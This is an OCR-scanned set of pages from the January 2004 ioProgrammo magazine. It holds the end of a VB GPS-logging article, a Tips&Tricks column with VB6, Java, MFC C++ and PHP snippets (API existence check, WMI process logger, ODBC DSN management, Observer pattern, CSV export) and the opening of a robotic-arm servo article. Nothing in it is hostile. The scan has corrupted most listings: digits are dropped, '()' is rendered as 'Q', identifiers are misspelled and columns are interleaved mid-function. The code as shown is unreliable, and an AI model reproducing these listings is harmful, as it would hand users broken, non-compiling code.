del DBMS dell'applicazione (tipicamente un data- 
base Access) 

Private Sub CmdSave_Click() 

On Error Resumé Next 

Set Cn = New ADODB.Connection 

Set Rs = New ADODB.Recordset 

Cn.Open strConnect 

Rs.CursorType = adllseClient 

Rs.LockType = adLockPessimistic 

Rs.Source = "SELECT * FROM Impostazioni Where id = l;" 

Rs.ActiveConnection = Cn 

Rs.Open 

Rs.Fields("ddDatum") = ddDatum.Text 

Rs.Fields("ddGrid") = ddGrid.Text 

Rs.Fields("ddPort") = ddPort.Text 

Rs.Fields("ddBaudRate") = ddBaudRate.Text 

Rs.Fields("ddTime") = ddTime.Text 

Rs.Update 

Rs.Close 

Cn.Close 

Set Rs = Nothing 

Set Cn = Nothing 

MsgBox "Le nuove impostazioni sono state salvate" 
End Sub 

All'interno del Form FrmGraph sono stati inseriti i 
controlli MSChart e Adodc, il controllo MSChart è 
associato a una griglia di dati, ovvero ad una tabella 
che contiene i dati in base ai quali verrà tracciato il 
grafico. Le proprietà da impostare nel controllo 
Adodc sono: 

RecordSource: SELECT MetersOverMeanSeaLevel FROM Dati, 

in modo da diagrammare solo i dati contenuti nel 
campo MetersOverMeanSeaLevel della tabella Dati. 




Fig. 6: 1 dati salvati nel database servono per pro- 
durre elaborati di tipo grafico, più precisamente verrà 
prodotto un diagramma indicante le quote rilevate 
lungo il nostro tragitto. 

che identifica il path del database usato dal pro- 
gramma, nel nostro caso: C:\GpsNavigator\db.mdb 
MSChart mette a disposizione diversi tipi di visualiz- 
zazione, per cui se vogliamo avere un diagramma 
diverso da quello impostato, basta modificare il se- 
guente codice: 

Private Sub Form_Load() 

MSChartl.chartType = VtChChartType3dLine 

End Sub 



cambiando la costante VtChChartType3dLine con 
una di quelle elencate in Tab. 2, 


Costante 


Descrizione 


VtChChartType3d 


Barre 3D 


VtChChartType2d 


Barre 2D 


VtChChartType3d 


Linee 3D 


VtChChartType2d 


Linee 2D 


VtChChartType3d 


Area3D 


VtChChartType2d 


Area2D 


VtChChartType3d 


Istogramma 3D 


VtChChartType2d 


Istogramma 2D 


VtChChartType3d 


Combinazione 3D 


VtChChartType2dCombination 


Combinazione 2D 


VtChChartType2dPie 


Torta 2D 


VtChChartType2dXY 


XY2D 

A 


TABELLA 2: Costanti per variare la tipologia di visualizzazione dei dati. 



CONCLUSIONI 

In questo articolo si è parlato di rilevazione GPS tra- 
mite l'uso di un ricevitore satellitare collegato ad un 
Notebook, in particolare abbiamo imparato a moni- 
torare la nostra posizione geografica nel tempo, e a 
visualizzare i nostri spostamenti attraverso appositi 
grafici. 

Luigi Salerno 



^ 56/Gennaio 2004 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse ■ T TIPS&TRICKS 



I trucchi del mestiere 

Tips&Tricks 

La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto 
dell'esperienza di chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca su 
internet, altri ancora ci giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta 
scelti, verranno pubblicati nella rubrica. Il codice completo dei tips è presente nel CD allegato nella directory \tips\o sul 
Web all'indirizzo: cdrom.ioprogrammo.it. 




VISUAL 
BASIC 



ABITILIARE/DISABILITARE 
UM GRUPPO DI CONTROLLI 

Le due routine, AbilitaControlli ed ImpostaAspetto, cercano di 
dare una risposta definitiva al problema della gestione dell' abili- 
tazione /disabilitazione di gruppi di controlli, ma soprattutto 
all'aspetto che essi dovrebbero assumere nelle due condizioni. 
Tra gli aspetti più interessanti di questa soluzione, vi è la possibi- 
lità di definire esattamente l'aspetto che i controlli devono assu- 
mere, in particolar modo quando disabilitati. VB6, infatti, per 
alcuni controlli quali TextBox, CheckBox, ListBox, ecc., imposta 
un aspetto, quando disabilitati, tale da ingannare e confondere 
l'utente in quanto i controlli non sembrano effettivamente disa- 
bilitati. Trovate l'applicazione completa nel supporto CD-Rom 
allegato alla rivista e/o visitando il sito web (sezione download) 
www. ioprogrammo. it 

Tip fornito dal Sig. D.Ficcadenti 

VERIFICARE 
L'ESISTENZA DI UNA API 

In molte circostanze può tornare utile verificare l'esistenza di 
un'API prima di provare ad utilizzarla; infatti molte API presenti 
su una determinata versione di Windows non sono presenti in 
altre versioni. 

Tip fornito dal sig. M.Catena 

Private Declare Function LoadLibrary Lib "kerne!32" Alias 

"LoadLibrary A" (ByVal IpLibFileName As String) As Long 

Private Declare Function GetProcAddress Lib "kernel32" (ByVal 

hModule As Long, ByVal IpProcName As String) As Long 

Private Declare Function FreeLibrary Lib "kernel32" (ByVal 

hLibModule As Long) As Long 

Private Sub btnTest_Click() 

Dim iRetCode As Integer 

iRetCode = IsProcedureAvailable(txtAPI.Text, txtDLL.Text) 

If iRetCode = Then 

MsgBox txtDLL.Text & "." & txtAPI.Text & ": supportata", 

vbOKOnly + vblnformation 

Elself iRetCode = -1 Then 



MsgBox txtDLL.Text & ": Libreria non esistente", vbOKOnly + 

vbCritical 

Elself iRetCode = -2 Then 

MsgBox txtDLL.Text & "." & txtAPI.Text & ": Procedura non 

esistente nella Libreria", vbOKOnly + vbCritical 

End If 

End Sub 

Function IsProcedureAvailable(ByVal Procedura As String, 

ByVal Libreria As String) As Integer 

Dim hModule As Long, procAddr As Long 

IsProcedureAvailable = 

' Proviamo a caricare la Libreria 

hModule = LoadLibrary(Libreria) 

If hModule Then 

' ora la Procedura 

procAddr = GetProcAddress(hModule, Procedura) 

If procAddr = Then 

IsProcedureAvailable = -2 'Procedura non esistente nella 

Libreria 

End If 

' liberiamo un po' di risorse 

FreeLibrary hModule 

Else 

IsProcedureAvailable = -1 'Libreria non esistente 

End If 

End Function 

UN "REGISTRATORE" 
DI PROCESSI 

Questo tip registra tutti i processi che sono avviati sul nostro per- 
sonal computer, nel file "ProcNuovi". Sostituendo " instance- 

creationevenf con " instancedeletionevenf si possono registra- 
re anche i Processi Eliminati. Trovate i sorgenti completi nel CD- 
Rom allegato, o visitando Furi www.ioprogrammo.it 

Tip fornito dal sig. D.Forzan 

Option Explicit 

Private Sub cmdProcessi_Click() 

Dim strComputer$, objWMIService, colMonitoredProcesses, 

objLatestProcess, I& 

strComputer = "." 

Set objWMIService = GetObject("winmgmts:" 

& "{impersonationLevel=impersonate}!\\" & strComputer 

& "\root\cimv2") 



http://www.ioprogrammo.it 



Gennaio 2004/57 ► 



TIPS&TRICKS T I Una raccolta di trucchi da tenere a portata di... mouse 



IL TIP DEL MESE 



COME GESTIRE UNA CONNESSIONE ODBC 



La procedura proposta,sviluppata in Visual Basic 6, consente di 
creare, modificare, eliminare una connessione ODBC (Utente e di 
sistema), in modo del tutto automatico, passando come parame- 
tri: 



procedura Access e SQLServer); 

il nome della connessione ed una sua descrizione; 

la posizione del database. 



Trovate l'applicazione completa nel supporto cd-rom allegato alla 
il tipo di operazione che vuole essere implementata (crea- rivista e/o visitando il sito web (sezione download) www.iopro- 
zione,modifica, eliminazione) ; grammo, it 



il tipo di Driver che verrà utilizzato per la connessione (nella 



Tip fornito dal sig. P.Lìbro 



Modulo VB 

Public Const APINull As Long = 0& 



'Dichiarazioni Enum 



ODBC_ADD_DSN = 1 
ODBC CONFIG DSN 



'Aggiunge una nuova voce utente 
'Modifica una voce utente esitente 



ODBC_ADD_SYS_DSN = 4 'Aggiunge una nuova voce di sistema 
ODBC CONFIG SYS DSN = 5 'Modifica una voce di sistema 



ODBC_REMOVE_DSN = 6 
ODBC REMOVE SYS DSN 



'Rimuove una voce utente 
'Rimuove una voce di sistema 



Public Enum DSN_DRIVER 

Access = 1 

SQLServer = 2 

End Enum 

'Dichiarazione Funzioni 

Public Declare Function SQLConfigDataSource Lib "ODBCCP32" (ByVal 
hwndParent As Long, ByVal fRequest As Long, ByVal IpszDriver As 
String, ByVal IpszStringaConnessionebutes As String) As Long 
Public Declare Function GetActiveWindow Lib "user32.dll" () As Long 
Public Declare Function SQLAIIocEnv Lib 

"ODBC32.DLL" (phenv&) As Integer 

Public Declare Function SQLAIIocConnect 

Lib "ODBC32.DLL" (ByVal henv&, hDBC8Q As Integer 

Public Declare Function SQLCreateDataSource Lib "ODBCCP32.DLL" 

(ByVal hwndParent As Long, ByVal IpszDriver As String) 
Public Declare Function SQLRemoveDSNFromlni Lib "ODBCCP32.DLL" 

(ByVal IpszDSN As String) As Long 

Public Declare Function SQLDriverConnect Lib "ODBC32.DLL" (ByVal 

hDBC As Long, ByVal hwnd As Long, ByVal szCSIn As String, ByVal 

cbCSIn As Long, ByVal szCSOut As String, ByVal cbCSMax As Long, 

cbCSOut As Long, ByVal f As Long) As Long 

Public Declare Function SQLAIIocStmt Lib "ODBC32.DLL" (ByVal 

hDBC As Long, HStmt As Long) As Long 

Public Function Gestione_OBDC(Opzione_DSN As DSN_OPTIONS, 
Driver_DSN As DSN_DRIVER, NomeDSN As String, DescrizioneDSN 
As String, PathDatabase As String, Optional NomeServer As String 
= "", Optional User As String = "", Optional Pwd_ As String = "") 

As Boolean 

Dim strDriver As String 

Dim StringaConnessione As String 

Select Case Opzione_DSN 

Case ODBC_REMOVE_DSN, ODBC_REMOVE_SYS_DSN 

'Operazione di eliminazione 
Gestione_OBDC = CBool(SQLRemoveDSNFromIni(NomeDSN)) 
Case Else 'operazione di Aggiunta modifica 



If Driver_DSN = SQLServer Then 

sDriver = "SQL Server" 

StringaConnessione = "SERVER=" & NomeServer & Chr(O) 

StringaConnessione = Stringai 

& DescrizioneDSN & Chr(O) 
StringaConnessione = StringaConnessione & "DSN = " 



StringaConnessione = StringaConnessione & "DATABASE=" 

& PathDatabase & Chr(O) 

StringaConnessione = StringaConnessione & 

"Trusted_Connection=Yes" 

Else 

sDriver = "Microsoft Access Driver (*.mdb)" 
StringaConnessione = "DSN = " & NomeDSN & Chr$(0) & 

"Description=" & DescrizioneDSN & Chr$(0) & "SERVER=" & 
NomeServer & Chr$(0) & "[ 

"uid = " & User & Chr$(0) & "pwd = " & Pwd_ & Chr$(0) 

End If 

'esegue l'operazione 

Gestione_OBDC = CBool(SQLConfigDataSource(APINull, 

Opzione_DSN, sDriver, StringaConnessione)) 

End Select 

End Function 

'Si presuppone che il main forma contenga tre command button: 



Drma contenga tre command button: 
commandl, command2, command3: 



'Aggiunge/modifica Voce ODI 

Private Sub Commandl_Click() 

If Gestione_OBDC(ODBC_ADD_DSN, Access, "Test", "Test", 

"C:\WINDOWS\Desktop\ListeNozze\DB\ListeNozze.mdb") Then 
MsgBox "La voce Test è stata aggiunta.", vblnformation, 

"Termine Operazione:" 

End If 

End Sub 

'Elimina Voce ODBC 

Private Sub Command2_Click() 

If Gestione_OBDC(ODBC_REMOVE_DSN, Access, "Test", "", "", 

"") Then 
MsgBox "La voce Test è stata cancellata.", vblnformation, 

"Termine Operazione:" 

End If 

End Sub 

Private Sub Command3_Click() 
'chiusura del programma 



^ 58/Gennaio 2004 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse ■ T TIPS&TRICKS 



Set colMonitoredProcesses = objWMIService. _ 

ExecNotificationQuery("select * from instancecreationevent " _ 

& " within 1 where Targetln stari ce isa 'Win32_Process'") 

I = 

Do While I = 

Set objLatestProcess = colMonitoredProcesses.NextEvent 

With Listi 

.Addltem objLatestProcess.Targetlnstance.Name & " - " &Time 

End With 

Scrivi_Su_File objLatestProcess.Targetlnstance.Name & " - " &Time 

Loop 

End Sub 

Function Scrivi_Su_File(Carattere As String) 

On Error GoTo erore 

Dim fso, f 

Set fso = CreateObject("Scripting.FileSystemObject") 

If Not fso.FileExists(App.Path & "\ProcNuovi.txt") Then 

fso.CreateTextFile App.Path & "\ProcNuovi.txt" 

Set f = fso.OpenTextFile(App.Path & "\ProcNuovi.txt", 2) 

Else 'Se il file è già presente aggiunge i dati 

Set f = fso.OpenTextFile(App.Path & "\ProcNuovi.txt", 8) 

End If 

f.WriteLine Carattere 

f.Close 

Exit Function 

erore: 

MsgBox Err.Description 

End Function 

MODIFICARE IL SYSTEM 
MENU DELLE FINESTRE 

Questo esempio rimuove la voce Chiudi e aggiunge una nuova 
voce nel menu. 

Tip fornito dal sig. M.Catena 

Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd 

As Long, ByVal bRevert As Long) As Long 

Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As 

Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long 

Private Declare Function AppendMenu Lib "user32" Alias 

"AppendMenuA" (ByVal hMenu As Long, ByVal wFlags As Long, 

ByVal wIDNewItem As Long, ByVal IpNewItem As Any) As Long 

Const MF_BYCOMMAND = &HQ& 

Const MF_STRING = &HQ& 

Const SC_CLOSE = &HF060& 

Const SC_ABOUT = 99999 

Private Sub btnTest_Click() 

ModifySysMenu (Me.hwnd) 

End Sub 

Function ModifySysMenu(hwnd As Long) 

Dim hSysMenu As Long 

Dim bReturn As Long 

hSysMenu = GetSystemMenu(hwnd, False) 

bReturn = DeleteMenu(hSysMenu, SC_CLOSE, MF_BYCOMMAND) ' 

Rimuove il Close 

bReturn = AppendMenu(hSysMenu, MF_STRING, SC_ABOUT, 

"&About ...enjoy") ' Aggiunge About :) 




JAVA 



"MIGLIORIAMO" L'INPUT DA TASTIERA 

Un tip Java che risolve un problema spesso riscontrato, quello 
della gestione dell'input da tastiera non bufferizzato e con echo 
disabilitato (utile anche per le password). Il Tip nasce proprio dal 
forum presente sul sito www.ioprogrammo.it (Il Forum di 
ioProgrammo » Linguaggi di programmazione » Java » Password 
in Java ) posto da " gassnervino" . Nel forum è presente una solu- 
zione molto semplice, mentre il tip proposto espone una soluzio- 
ne portabile anche su piattaforme linux. 

Tip fornito dal Sig. C. Sicilia 

package it.kya.io; 

import java.io.*; 

/** 

* @author Cristian SICLIA 

V_ 

public class TestKeyBoard 

{ 

public static void main(String[] args) throws Exception 

_J 

StringBuffer buffer; 

char eh; 

buffer = new StringBufferQ; 

System.out.println("\nInserire una stringa terminata da invio"); 
while((ch = (char)KeyBoard.readQ) != '\n' && eh != '\r') 

buffer.append(ch); 

System.out.println("Hai dgt: " + buffer ); 

System.out.println("Premere un tasto per continuare"); 

KeyBoard.readQ; 



} 



} 



SIMULARE VB NELLA 
GESTIONE DI EVENTI 
UTILIZZANDO IL DESIGN 
PATTERN OBSERVER- 
OBSERVABLE 

Molto spesso, chi si avvicina per la prima volta a Java e conosce 
un po' di Visual Basic, è portato a rimpiangere uno degli stru- 
menti più flessibili messi a disposizione da questo linguaggio di 
programmazione, ovvero gli eventi, e di tutti i vantaggi che le tec- 
niche di programmazione orientata agli eventi permettono di 
ottenere. Non tutti però conoscono un noto Design Pattern che 
ci permette di implementare, anche in Java, le tecniche di pro- 
gettazione orientate alla gestione degli eventi: il pattern noto 
come Observer-Observable. Implementando tale Pattern è possi- 
bile, infatti, far colloquiare due o più "pezzi di codice" attraverso 
la notifica d'eventi. Per illustrarne il meccanismo di funziona- 
mento, faremo riferimento ad un semplice esempio: ai supponga 
di avere due oggetti che chiameremo simbolicamente A e B. B ha 
il compito di costruire una finestra (faremo uso delle librerie 



http://www.ioprogrammo.it 



Gennaio 2004/59 ► 



TIPS&TRICKS T I Una raccolta di trucchi da tenere a portata di... mouse 



Swing) con un pulsante e sarà l'oggetto osservato da A. Alla pres- 
sione del pulsante, B notificherà tale evento ad A A ci informerà 
dell'avvenuta notifica attraverso un messaggio utente. 
Procediamo con l'esempio pratico che ci chiarirà le idee. 

Tip fornito dal sig. Vito Dicensi 



_J 

public void mouseReleased(MouseEvent e) 
{ 



File B.java 

/** 
* 

* @author Vito Dicensi 

V_ 

import javax.swing.*; 

import java.awt.event.*; 

import java.util.*; 

public class B extends Observable 

{ 

/** Costruttore di B */ 

public B() 

_J 

// il frame principale della finestra creata da B 

JFrame frame= new JFrame("Sono l'oggetto B"); 

// fisso la dimensione del frame 

frame.setSize(200, 80); 

// un pannello che conterrà un pulsante 

JPanel pannello = new JPanelQ; 

// il pulsante con la Label "Premi qui" 

JButton bottone = new JButton("Premi qui"); 

// assegno l'ascoltatore del mouse al bottone 

bottone.addMouseListener(new AscoltaMouseQ); 

// aggiungo il bottone al pannello 

pannello.add(bottone); 

// aggiungo il pannello al frame 

frame.setContentPane(pannello); 

// visualizzo il tutto 

frame.setVisible(true); 

_J 

class AscoltaMouse implements MouseListener 

_J 

// l'evento Click è quello su cui punto l'attenzione 

// in seguito al click ... emetterò l'evento di notifica 

// a tutti gli oggetti in ascolto 

public void mouseClicked(MouseEvent e) 

{ 

// marco il cambiamento dell'oggetto osservato 

// in questo modo il metodo HasChanged ritornerà 

//true 

setChangedQ; 

// notifico il cambiamento di stato agli osservaori in 

// ascolto 

notifyObserversQ; 

} 

public void mouseEntered(MouseEvent e) 

{ 

} 

{ 
} 



} 



Come si può osservare, la classe B estende la classe Observa- 
ble contenuta nel package java.util. I punti chiave della clas- 
se B sono rappresentati dalla invocazione dei metodi 
setChangedQ (che in sostanza ci permette di cambiare lo 
stato dell'oggetto osservato) e notifyObserversQ che si occupa 
della notifica agli osservatori dell'evento (in questo esempio: 
il click di mouse sul pulsante). La classe osservatrice A sarà 
invece implementata come segue: 

File A.java 

/** 
* 

* @author Vito Dicensi 

V_ 

import javax.swing.*; 

import java.util.*; 

public class A 

{ 

/** Costruttore di A*/ 

public A() 

_J 

// dichiaro ed istanzio un oggetto di tipo B 

B bOobject= new B(); 

// assegno a B l'osservatore definito in seguito 

bObject.addObserver(new OsservatoreDiBQ); 

_J 

// inner class invocata ogni volta che arriva una notifica da 

// parte dell'oggetto osservato da A 

private class OsservatoreDiB implements Observer 

{ 

// alla notifica ricevuta da B... visualizzo 

// una JDialog che comunica all'utente l'avvenuta 

// pressione del tasto in B. 

public void update(Observable o, Object arg) 

{ 

// una JDialog modale per informare l'utente 

JOptionPane.showMessageDialog(null,"Sono A e mi è 

appena giunta la Notifica da B", "Notifica avvenuta", 

JOptionPane.INFORMATION_MESSAGE); 

// dopo la pressione del tasto OK esco dalla 

// applicazione disallocando tutto 

System.exit(O); } 

} 

// metodo statico main 

static public void main(String[] args) 



{ 



public void mouseExited(MouseEvent e) 



// istanzio un oggetto di tipo A 
new A(); 



public void mousePressed(MouseEvent e) 



». 60/Gennaio 2004 



http://www.ioprogrammo.it 



Una raccolta di trucchi da tenere a portata di... mouse ■ T TIPS&TRICKS 



In A viene creato l'oggetto B e a questo viene associato un 
osservatore. La classe osservatore implementa l'interfaccia 
Observer, anch'essa facente parte del package java.util II 
metodo che viene ridefinito è updateQ ed è quello che viene 
invocato all'arrivo della notifica. 

Nell'esempio, quando A intercetta l'evento di notifica emes- 
so da B, non si fa altro che: - comunicare all'utente, attraver- 
so un JDialog modale, che la notifica è giunta all'osservatore; 
- uscire dalla applicazione. 

VERIFICATORE D'OGGETTI 
SERIALIZZABILI... 

Un tip utile anche per le WEB-APP quando è necessario mo- 
nitorare la capacità di replicazione degli oggetti in sessione! 
All'uopo utilizzeremo la classe Serializable. La Serializ- 
zazione è quella specifica che permette la conversione di un 
oggetto in una sequenza di byte e, come percorso inverso, di 
ottenere un oggetto da uno stream. Questa piccola classe 
permette di verificare se un oggetto è serializzabile o meno. 
Sono definite tre costanti che indicano se l'oggetto è serializ- 
zabile, non è serializzabile o risulta serializzabile in quanto 
trattasi di reference posto a nuli 

Tip fornito dalsig. S.Fago 

import java.io.Serializable; 

import java.util.Collection; 

import java.util.Map; 

import java.util.Iterator; 

import java.io.ObjectOutputStream; 

import java.io.IOException; 

import java.io.ByteArrayOutputStream; 

/** 

* @STEFANO FAGO 

* @version 1.0 

_V 

public class SerializationVerifier 

{ 

// constants... 

public static final String YES = "Y"; 

public static final String YES_BUT_NULL = "Y_B_N"; 

public static final String NO = "IN"; 

private SerializationVerifierQ {} 

public static String isSerializable(Object toVerify) 

A 

if(toVerify == nuli) return YES_BUT_NULL; 

if(!(toVerify instanceof Serializable) ) return NO; 

return forceSerialization(toVerify)?YES:NO; 

_} 

private static boolean forceSerialization(Object data) 

A 

ByteArrayOutputStream st = new ByteArrayOutputStreamQ; 

ObjectOutputStream os = nuli; 

try 

_i 

os = new ObjectOutputStream(st); 

os.writeObject(data); 

> 



catch (IOException 


ex){ 


return false; 


} 


try 


{ 


os.flush(); 


os.close(); 


} 


catch (IOException exl) { os = 


= nuli; 


} 


return true; 


} 


}//end 




C++ 



LA GESTIONE DEL MOUSE 
ll\l UM PROGETTO IVIFC 

La gestione del mouse all'interno di un'applicazione Visual 
C++ è quanto di più semplice si possa fare. Dopo avere gene- 
rato un progetto MFC AppWizard (exe), ci si deve recare nel 
file della view dell'applicazione. Se il progetto è denominato 
ProvaMouse, ad esempio, si deve aprire il file ProvaMouse- 
View.cpp In seguito, nel ClassWizard, che può essere selezio- 
nato da View/ClassWizard, oppure premendo contempora- 
neamente [CTRL]+[W], all'interno del tab Message Maps, 
assicurarsi che sia selezionata la classe CProvaMouseView. 
Nella finestra Messages, selezionare il tipo di messaggio del 
mouse da gestire. 

Ad esempio, per gestire la pressione del tasto sinistro, sele- 
zionare messaggio WM_LBUTTONDOWN; per gestire la pres- 
sione del tasto destro selezionare il messaggio WM_RBUT- 
TONDOWNeviR dicendo. Selezionato il tipo di messaggio da 
gestire, cliccare due volte sulla relativa voce che diventare 
"enfatizzata" e, nella finestra sottostante, Member Functions, 
comparirà il nome del gestore del messaggio. Ad esempio, 
scegliendo WM_LBUTTONDOWN, ClassWizard genererà, 
automaticamente, il gestore OnLButtonDownQ',. È necessa- 
rio creare un gestore di messaggi per ciascuno degli eventi di 
cui si necessita. 

All'interno del file ProvaMouseView.CPP, nella coda dei mes- 
saggi, ClassWizard aggiungere una riga di gestione del tipo: 

Tip fornito dal sig.R.Sensale 

l± 

l± 

BEGIN_MESSAGE_MAP(CProvaMouseView, CView) 

//{{AFX_MSG_MAP(CProvaMouseView) 

ON_WM_LBUTTONDOWN() 

ON_WM_RBUTTONDOWN() 

//»AFX_MSG_MAP 

// Standard printing commands 

ON_COMMAND(ID_FILE_PRINT, CView:: OnFilePrint) 

ON_COMMAND(ID_FILE_PRINT_DIRECT, CView:: OnFilePrint) 

ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView:: OnFilePrintPreview) 

END_MESSAGE_MAP() 

// 



http://www.ioprogrammo.it 



Gennaio 2004/61 ► 



TIPS&TRICKS T I Una raccolta di trucchi da tenere a portata di... mouse 



I gestori veri e propri vengono inseriti in coda al file: 

///////////////////////////////////////////////////////////////////////////// 

// CProvaMouseView message handlers 

void CProvaMouseView:: OnLButtonDown(UINT nFlags, CPoint point) 

{ 

// TOPO: Add your message handler code here and/or cali default 
CView:: OnLButtonDown(nFlags, point); 

> 

void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point) 

{ 

// TOPO: Add your message handler code here and/or cali default 

CView:: OnRButtonDown(nFlags, point); 

> 

A questo punto, nei gestori inserire le funzionalità da imple- 
mentare. 
Ad esempio: 

void CProvaMouseView:: OnLButtonDown(UINT nFlags, CPoint point) 

{ 

// TOPO: Add your message handler code here and/or cali default 

CView:: OnLButtonDown(nFlags, point); 

MessageBox("Hai premuto il tasto sinistro del mouse'V'Gestione 
del mouse"); 

> 

void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point) 

{ 

// TOPO: Add your message handler code here and/or cali default 

CView: :OnRButtonDown(nFlags, point); 

MessageBox("Hai premuto il tasto destro del mouse'V'Gestione 

del mouse"); 

} 



[PHP] 



PHP 



CREAZIONE DI FILE CSV 
DA DATABASE 

Questa classe in PHP crea un file CSV (specificando il percor- 
so e il nome del file) leggendo i dati presenti in un qualsiasi 
DataBase MYSQL. 

Inoltre, mediante il metodo CreateAUCSV crea tanti file CSV 
quante sono le tabelle presenti in una base dati. 

Tip fornito dal sig. R. Sensale 

<html> 

<head> 

<title>Dimostrazione della Classe</title> 

</head> 

<body> 

<?php 

include_once '../DblnCSVclass'; 

$ServerDB='ServerDB'; 

$User='NomeUtente'; 



$Pwd='Password'; 

$DataBaseName='MioDatabase'; 

$Table='NomeTabella'; 

$object = new DbaselnCSVQ; 

$object->Inizialize("C:\PROVA.CSV"); 

//$object->SetChar(";"); 

$object->CreateCSV($ServerDB,$User,$Pwd,$DataBaseName,$Table); 

echo "<br>"; 

$Qbject->GetFileName(); 



$object->GetPath(); 



echo "Nome File: 
echo "<br>"; 
echo "Nome File: 

echo "<br>"; 

echo "Numero di Campi della tabella: " . $object->CountFieldOfTable( 

$ServerDB,$L)ser,$Pwd,$DataBaseName,$Table); 

echo "<br>"; 

echo "Numero di Tabelle del Database <b>$DataBaseName</b>: " 

. $Qbject->CountTable($DataBaseName); 

echo "<br>"; 

echo "Creo tanti file CSV quante sono le tabelle del database 

<b>$DataBaseName</b>: "; 

$object->CreateAIICSV($ServerDB,$User,$Pwd,$DataBaseName); 

7> 

</body> 

</html> 



che ti premia 



Questo mese 
in palio un 

ECCEZIONALE. 
ZIP 750 MB 



f ^^ 



D 



UJfDCga 

ZIP 750 MB 



Inviaci la tua soluzione ad un problema di 

programmazione, una faq, un tip... 

Tra tutti quelli giunti mensilmente in redazione, 

saranno pubblicati i più meritevoli e, fra questi, 

scelto il Tip del mese, 
PREMIATO CON UN FANTASTICO OMAGGIO! 

Invia i tuoi lavori a ioprogrammo@edmaster.it 



^ 62/Gennaio 2004 



http://www.ioprogrammo.it 



Braccio meccanico - quinta parte ■ T ELETTRONICA 



Robotica e C++: 



Il Controllo 
degli attuatoli 

Precisione, rapidità nei movimenti, forza e flessibilità di impiego, 
queste sono le caratteristiche che stiamo conferendo al nostro 
braccio meccanico. 



In questo appuntamento ci concentreremo sulla 
prima qualità: la precisione nei movimenti che 
otterremo implementando un controllo seriale 
proporzionale degli attuatori del robot. Come ri- 
chiesto da molti lettori, il programma di gestione è 
scritto in C++. Cercando di rispondere alla domanda 
su quale sia la precisione nei movimenti dell'arto 
umano, forse non saprei rispondere dandone una 
definizione assoluta, probabilmente direi che è pre- 
cisa quanto basta all'assolvimento dei compiti della 
vita quotidiana, siano essi lavorativi o di manipola- 
zione di oggetti nella vita di tutti i giorni. Questa 
definizione tuttavia non mi soddisfa, penso infatti 
che la precisione che è necessaria al mio orologiaio 
di fiducia possa essere diversa da quella che mi serve 
quando spacco la legna per la stufa: l'accuratezza 
nei movimenti è quindi dipendente dal compito che 
dobbiamo portare a termine. Quale precisione vo- 
gliamo allora conferire al nostro braccio meccanico? 
Per rispondere a questa importante domanda, che 
condizionerà tutto il progetto dobbiamo quindi sta- 
bilire quali compiti gli vogliamo assegnare: dovrà 



5EJ 


r 1 



Fig. 1: In queste pagine vedremo come azionare un 
attuatore dei braccio meccanico per mezzo di un circuito 
elettronico a comando seriale. 



essere un robot per microchirurgia interna od una 
macchina per scavi in miniera? Nei primi appunta- 
menti abbiamo stabilito che il robot dovrà essere in 
grado di compiere lavori domestici e che sarà dota- 
to di sei gradi di libertà, in analogia al braccio uma- 
no, ad ogni movimento corrisponderà un attuatore 
che lo renda possibile: il raggiungimento e la presa 
di un determinato oggetto sarà definibile quindi con 
sistema di equazioni in sei variabili. Evitando di en- 
trare in una selva di matrici ed equazioni trigonome- 
triche, che farebbero felice il mio ormai anziano 
professore di analisi, ma che indurrebbero il lettore 
a passare ad un altro articolo, concentriamoci su un 
solo movimento del braccio: quello del polso per 
esempio. Il polso del robot ha la possibilità di fletter- 
si di un angolo di +- 100° nell'intorno del proprio 
asse. Supponendo di volere una precisione di un 
millimetro e che il vertice della mano sia a 10 cm dal 
punto di rotazione, abbiamo che la risoluzione 
angolare necessaria è di circa 0,6°: la dimostrazione 
di ciò è ottenibile trigonometricamente. Detto ciò 
per una escursione di 200°, abbiamo bisogno di 9 bit 
per ottenere questo livello di precisione, infatti 
200/. 6=333. Accettando viceversa una risoluzione ad 
8 bit abbiamo che la precisione che si ottiene è di 
circa 1,4 mm, più che accettabile per i nostri scopi. 
Possiamo ridurre eventualmente l'escursione del 
servcomando a +- 73° ottenendo la risoluzione di 1 
mm che abbiamo fissato in precedenza, anche que- 
sto aspetto più che accettabile dal momento che il 
polso umano può flettersi di circa 150°. L'escursione 
dell' attuatore dovrà essere proporzionale e lineare, 
in modo tale che al valore binario '00000000' inviato 
al circuito di controllo corrisponda uno degli estre- 
mi di posizionamento del servocomando ed al valo- 
re '11111111' corrisponda l'altro: ogni valore inter- 
medio dovrà far posizionare il servocomando in una 
posizione intermedia, determinata 'proporzional- 




lacDQ 



WEB 



Robot_Driver.zip 

é%2 



^ CONTATTA 
f g L'AUTORE 

éA 



L'autore è lieto di 
rispondere ai quesiti 
dei lettori 

sull'interfacciamento 
dei PC all'indirizzo: 
luca.spuntoni@ 
ioprogrammo.it 



http://www.ioprogrammo.it 



Gennaio 2004/63 ► 



ELETTRONICA T I Braccio meccanico - quinta parte 





ACQUISTARE 

PC EXPLORER 

LIGHT 

L'apparecchiatura PC 

Explorer light è 

prodotta e 

commercializzata dalla 

Elisys s.r.l. e può essere 

acquistata inviando 

una e-mail all'indirizzo 

pcexplorer@elisys.it 

oppure 

telefonicamente al 

numero 0823/468565 o 

via Fax al: 0823/495483. 




OGRAFIA 



• CONTROLLIAMO LA 

PORTA PARALLELA CON 

DELPHI 6 

Luca Spuntoni 

ioProgrammo N. 57-58 

Aprile e Maggio 2002. 

• ELETTRONICA 

E ROBOTICA 

Luca Spuntoni 

ioProgrammo N. 71-72-73 

Settembre, Ottobre e 

Novembre 2003. 



mente' tra questi estremi. Al termine di queste pagi- 
ne avremo sviluppato l'hardware ed il software 
necessari a comandare un qualunque servocoman- 
do PWM, per ottenere un movimento proporziona- 
le, con la possibilità di regolarne l'escursione e quin- 
di la risoluzione. 



CONVERSIONI 

Abbiamo detto che il braccio meccanico avrà sei 
